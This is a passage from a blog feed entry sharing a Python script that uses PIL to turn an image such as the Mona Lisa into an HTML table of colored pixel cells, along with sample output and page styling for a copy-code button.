&lt;td style=&quot;background-color: #1a0a19; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #140a1b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #14081a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1b0c1f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #211024; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #1a122d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #120925; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #160c26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #130923; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #120b24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #130b24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #140b22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #160c24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c0e24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f1024; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1d0e24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1d1126; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #190e25; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #150c22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #160b23; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #160a20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c0a20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f0c21; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #220d20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2b0e22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f0c21; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #180b20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #170a20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #130a20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0f0a20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0e091f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0c081d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #120a1e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0f0b1f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #12091d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #190a1d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #11081c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0d0a1e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0b091e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #07061b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #07061b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #08061b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0e071b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0e0719; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #070619; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #070519; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #080519; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #08061a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0b0517; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #100718; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #13081a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0f071c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #12091e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #130a21; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1a132a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;

&lt;p&gt;Image Source I have used:- &lt;a href=&quot;https://upload.wikimedia.org/wikipedia/commons/thumb/e/ec/Mona_Lisa%2C_by_Leonardo_da_Vinci%2C_from_C2RMF_retouched.jpg/1200px-Mona_Lisa%2C_by_Leonardo_da_Vinci%2C_from_C2RMF_retouched.jpg&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Image&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;

  
&lt;p&gt;So here is the code. Enjoy!!!&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;

&lt;meta charset=&quot;UTF-8&quot;&gt;
&lt;link rel=&#39;stylesheet&#39; href=&#39;https://fonts.googleapis.com/css?family=Lato:300&#39;&gt;
&lt;link rel=&quot;stylesheet&quot; href=&quot;./style.css&quot;&gt;
&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot;&gt;
&lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js&quot;&gt;&lt;/script&gt;
&lt;script src=&quot;https://cdn.jsdelivr.net/clipboard.js/1.5.12/clipboard.min.js&quot;&gt;&lt;/script&gt;

&lt;style&gt;
button {
  display: inline-block;
  padding: 5px 20px;
  font-size: 24px;
  cursor: pointer;
  text-align: center;
  text-decoration: none;
  outline: none;
  color: #fff;
  background-color: #303134;
  border: none;
  border-radius: 15px;
  box-shadow: 0 9px #999;
}

button:hover {background-color: #202124}

button:active {
  background-color: #FF7357;
  box-shadow: 0 5px #666;
  transform: translateY(4px);
}

/* Popup container - can be anything you want */
.popup {
  position: relative;
  display: inline-block;
  cursor: pointer;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
}

/* The actual popup */
.popup .popuptext {
  visibility: hidden;
  width: 160px;
  background-color: #555;
  color: #fff;
  text-align: center;
  border-radius: 6px;
  padding: 8px 0;
  position: absolute;
  z-index: 1;
  bottom: 125%;
  left: 50%;
  margin-left: -80px;
}

/* Popup arrow */
.popup .popuptext::after {
  content: &quot;&quot;;
  position: absolute;
  top: 100%;
  left: 50%;
  margin-left: -5px;
  border-width: 5px;
  border-style: solid;
  border-color: #555 transparent transparent transparent;
}

/* Toggle this class - hide and show the popup */
.popup .show {
  visibility: visible;
  -webkit-animation: fadeIn 1s;
  animation: fadeIn 1s;
}

/* Add animation (fade in the popup) */
@-webkit-keyframes fadeIn {
  from {opacity: 0;} 
  to {opacity: 1;}
}

@keyframes fadeIn {
  from {opacity: 0;}
  to {opacity:1 ;}
}

div.card {
  text-align: left;
  font-family: &#39;Aclonica&#39;;font-size: 22px;
  border: 2px solid #FFDD00;
}

/* Code By Webdevtrick ( https://webdevtrick.com) */
.shimmer {
  font-family: &quot;Lato&quot;;
  font-weight: 30;
  font-size: 1em;
  margin: 0 auto;
  padding: 0 140px 0 0;
  display: inline;
  margin-bottom: 0;
}
.shimmer {
  text-align: center;
  color: rgba(255,255,255,0.1);
  background: -webkit-gradient(linear, left top, right top, from(#222), to(#222), color-stop(0.5, #fff));
  background: -moz-gradient(linear, left top, right top, from(#222), to(#222), color-stop(0.5, #fff));
  background: gradient(linear, left top, right top, from(#222), to(#222), color-stop(0.5, #fff));
  -webkit-background-size: 125px 100%;
  -moz-background-size: 125px 100%;
  background-size: 125px 100%;
  -webkit-background-clip: text;
  -moz-background-clip: text;
  background-clip: text;
  -webkit-animation-name: shimmer;
  -moz-animation-name: shimmer;
  animation-name: shimmer;
  -webkit-animation-duration: 2s;
  -moz-animation-duration: 2s;
  animation-duration: 2s;
  -webkit-animation-iteration-count: infinite;
  -moz-animation-iteration-count: infinite;
  animation-iteration-count: infinite;
  background-repeat: no-repeat;
  background-position: 0 0;
  background-color: #222;
}
@-moz-keyframes shimmer {
  0% {
    background-position: top left;
  }
  100% {
    background-position: top right;
  }
}
@-webkit-keyframes shimmer {
  0% {
    background-position: top left;
  }
  100% {
    background-position: top right;
  }
}
@-o-keyframes shimmer {
  0% {
    background-position: top left;
  }
  100% {
    background-position: top right;
  }
}
@keyframes shimmer {
  0% {
    background-position: top left;
  }
  100% {
    background-position: top right;
  }
}
&lt;/style&gt;

&lt;script&gt;
$(function(){
  new Clipboard(&#39;.copy-text&#39;);
});


function myyFunction() {
  var popup = document.getElementById(&quot;myPopup&quot;);
  popup.classList.toggle(&quot;show&quot;);
}
&lt;/script&gt;

&lt;div class=&quot;card&quot;&gt;
&lt;!------------------------------&gt;


&lt;!-- HTML generated using hilite.me --&gt;&lt;div style=&quot;padding:20px;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot; id=&quot;content&quot;&gt;&lt;span style=&quot;color: #75715e&quot;&gt;# Pixel Style Image to HTML Converter&lt;/span&gt;
&lt;span style=&quot;color: #75715e&quot;&gt;# Developed by: Joel D&amp;#39;costa&lt;/span&gt;
&lt;span style=&quot;color: #75715e&quot;&gt;# Free to use.&lt;/span&gt;
&lt;span style=&quot;color: #75715e&quot;&gt;# Shared by :- Python4Fun&lt;/span&gt;

&lt;span style=&quot;color: #75715e&quot;&gt;# import PIL as Image&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;PIL&lt;/span&gt; &lt;span style=&quot;color: #66d9ef&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Image&lt;/span&gt;

&lt;span style=&quot;color: #75715e&quot;&gt;# Note:- All types of file format works.&lt;/span&gt;
&lt;span style=&quot;color: #75715e&quot;&gt;# Eg.(jpg, png, gif, webp etc...)&lt;/span&gt;
&lt;span style=&quot;color: #75715e&quot;&gt;# Enter your Image name.&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;infile&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;mona.jpg&amp;quot;&lt;/span&gt;

&lt;span style=&quot;color: #75715e&quot;&gt;# If you increase the size your html will crash your computer. &lt;/span&gt;
&lt;span style=&quot;color: #75715e&quot;&gt;# Keep the default size as 50 x 50&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;w,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;h&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;50&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;50&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;image&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Image&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;open(infile)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;new_image&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;image&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;resize((w,h),Image&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;ANTIALIAS)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;new_image&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;save(fp&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;n.png&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #75715e&quot;&gt;# It will save it as &amp;#39;n.png&amp;#39; dont change the file name.&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;infile&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;n.png&amp;#39;&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;width,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;height&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Image&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;open(infile)&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;size&lt;/span&gt;

&lt;span style=&quot;color: #75715e&quot;&gt;# Getting Pixel color function&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e&quot;&gt;rgb_to_hex&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;(rgb):&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;#&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;%02x%02x%02x&amp;#39;&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;%&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;rgb&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2&quot;&gt;img&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Image&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;open(infile)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;img_rgb&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;img&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;convert(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;RGB&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #75715e&quot;&gt;# Our output will be stored as t_.html&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;open(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;t_.html&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;+a&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #66d9ef&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;t:&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;writelines(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;&amp;lt;table style=&amp;quot;border-spacing: 0px;&amp;quot;&amp;gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;i&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;range(height):&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;writelines(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;&amp;lt;tr&amp;gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
        &lt;span style=&quot;color: #66d9ef&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;j&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;range(width):&lt;/span&gt;
            &lt;span style=&quot;color: #f8f8f2&quot;&gt;rgb&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;img_rgb&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;getpixel((int(j),int(i)))&lt;/span&gt;
            &lt;span style=&quot;color: #f8f8f2&quot;&gt;colorcode&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;rgb_to_hex(rgb)&lt;/span&gt;
            &lt;span style=&quot;color: #75715e&quot;&gt;######## You can Comment this part out ##########&lt;/span&gt;
            &lt;span style=&quot;color: #75715e&quot;&gt;# This will try to make the white color or close to white as transparent&lt;/span&gt;
            &lt;span style=&quot;color: #66d9ef&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;#fff&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;colorcode:&lt;/span&gt;
                &lt;span style=&quot;color: #f8f8f2&quot;&gt;colorcode&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;rgb_to_hex(rgb)&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;00&amp;quot;&lt;/span&gt;
            &lt;span style=&quot;color: #75715e&quot;&gt;# This will try to make the black color or close to black as transparent&lt;/span&gt;
            &lt;span style=&quot;color: #66d9ef&quot;&gt;elif&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;000000&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;colorcode:&lt;/span&gt;
                &lt;span style=&quot;color: #f8f8f2&quot;&gt;colorcode&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;colorcode&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;replace(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;000000&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;00000000&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
            &lt;span style=&quot;color: #66d9ef&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;
                &lt;span style=&quot;color: #f8f8f2&quot;&gt;colorcode&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;rgb_to_hex(rgb)&lt;/span&gt;
            &lt;span style=&quot;color: #75715e&quot;&gt;######## You can Comment this part out ##########&lt;/span&gt;
            &lt;span style=&quot;color: #f8f8f2&quot;&gt;p&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;15&lt;/span&gt; &lt;span style=&quot;color: #75715e&quot;&gt;# for width and height of the pixel&lt;/span&gt;
            &lt;span style=&quot;color: #f8f8f2&quot;&gt;xj&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;j&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;p&lt;/span&gt;
            &lt;span style=&quot;color: #f8f8f2&quot;&gt;yi&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;p&lt;/span&gt;
            &lt;span style=&quot;color: #f8f8f2&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;writelines(f&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;&amp;lt;td style=&amp;quot;width: {p}px; height: {p}px; background-color: {colorcode}; border-radius: 9px; border: 0px;&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;writelines(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;&amp;lt;/tr&amp;gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;writelines(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;&amp;lt;/table&amp;gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
    
&lt;/pre&gt;&lt;/div&gt;



&lt;!------------------------------&gt;
&lt;/div&gt;

&lt;div class=&quot;popup&quot; onclick=&quot;myyFunction()&quot;&gt;
&lt;span class=&quot;popuptext&quot; id=&quot;myPopup&quot;&gt;Copied&lt;/span&gt;
&lt;button class=&quot;copy-text&quot; data-clipboard-target=&quot;#content&quot; href=&quot;#&quot;&gt;Copy Code&lt;/button&gt;
&lt;/div&gt;

</content><link rel='replies' type='application/atom+xml' href='https://pysnakeblog.blogspot.com/feeds/3134967563388403386/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://pysnakeblog.blogspot.com/2021/11/pixel-style-image-to-html-convert-in.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/3134967563388403386'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/3134967563388403386'/><link rel='alternate' type='text/html' href='https://pysnakeblog.blogspot.com/2021/11/pixel-style-image-to-html-convert-in.html' title='Pixel Style Image to HTML Convert in Python'/><author><name>Joel Dcosta</name><uri>http://www.blogger.com/profile/12207789043143575856</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/a/AVvXsEh20B3HDlao9Oxmes1x_HVYeJZ8fqAZXlg54x_e7Mk-PKOcSz11PjES94ZyeygmJMOBfHu-jt3g2GpMrCOlbFs6Zjo6cKgKrDxlAmQp257jT3peuN84U0I4nHnVSA64S7YqCjNhgozQ-7HnorcQI3eNUOw5OPHO2Gd6MZHzkW64ylbSZDs4R3cTGIYw=s72-c" height="72" 